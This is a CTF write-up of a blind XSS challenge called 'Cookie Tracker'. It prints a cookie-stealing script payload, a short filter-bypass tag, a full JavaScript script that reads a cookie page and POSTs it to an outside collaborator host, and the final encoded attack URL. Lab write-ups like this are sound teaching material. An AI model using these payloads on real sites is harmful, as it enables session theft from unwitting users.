Post

BSides-Bangalore CTF - Cookie Tracker Blind XSS Challenge

Introduction

This was a blind XSS challenge where the goal was to read the admin’s cookie. The given website was called “Cookie Tracker” and had three functionalities:

  • Store your cookie.
  • See your cookie.
  • Report a URL and an email.

XSS challenge

Initial Approach

Since this was an XSS challenge, my initial idea was to exploit the cookie-saving functionality to inject an XSS payload and then send a link to the admin via the report page to steal their session. So, I created a cookie with a random name and an XSS payload via index.php, which got executed. However, I realized that index.php simply created a new cookie with the name and value specified, and the cookie view page (cookies.php) read our cookie and displayed it without sanitization. To steal the admin’s cookie, I needed another XSS vulnerability.

XSS challenge

After careful inspection, I found that the report page (report.php) used FILTER_VALIDATE_EMAIL for the email field, which was vulnerable to XSS. I crafted a payload: <script>document.location='http://interact-sh_url/?c='+document.cookie</script>, but there was an error message saying “script tag is blocked” and there was a character limit as well. After some tinkering, I used <script/src=//myserver/>, which worked. XSS challenge

Next, I created a JavaScript file that retrieved the admin’s session and sent it to my collaborator link. After submitting the payload, I received an initial callback to the JS file but not to my collaborator server. I realized I forgot to check the cookie flags, and it turns out the cookie was HttpOnly. Now I needed another way to read the HttpOnly cookie. That’s when I remembered the cookies.php file, which displayed our cookies. To read the admin’s session, I created a JavaScript script that redirected the admin to site/cookies.php, read the content of that page, and sent it to my server. I also asked ChatGPT for assistance and got the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
(function(){
  var remote_post = "http://quove1hw80r79vh3lkgi2kv7iyopcf04.oastify.com"; // Your server's full path to POST page

  // Call every couple seconds
  window.setInterval(function(){
    fetchContentAndPost();
  }, 4000);

  function fetchContentAndPost() {
    var targetUrl = window.location.protocol + "//" + window.location.host + "/cookies.php";
    var httpGet = new XMLHttpRequest();
    httpGet.open("GET", targetUrl, true); // Full URL to fetch
    httpGet.onreadystatechange = function() {
      if (httpGet.readyState == 4 && httpGet.status == 200) {
        var content = httpGet.responseText;
        sendToRemoteServer(content);
      }
    }
    httpGet.send();
  }

  function sendToRemoteServer(content) {
    var httpPost = new XMLHttpRequest();
    var params = "data=" + encodeURIComponent(content);
    httpPost.open("POST", remote_post, true);

    // Send the proper header information along with the request
    httpPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    httpPost.setRequestHeader("Content-length", params.length);
    httpPost.setRequestHeader("Connection", "close");

    httpPost.onreadystatechange = function() {
      if (httpPost.readyState == 4 && httpPost.status == 200) {
        // Optionally handle the response
      }
    }
    httpPost.send(params);
  }
})();

XSS challenge

So, I hosted this script on my server and sent a request to the report.php page with the following URL http://host3.metaproblems.com:6020/report.php?report_url=http://google.com&report_email=%22%3CsCript/src=http://<myip>/3.js%3E%22@x.y with a random email, and a few seconds later, I got the callback on my collaborator server with the flag.

XSS challenge

This post is licensed under CC BY 4.0 by the author.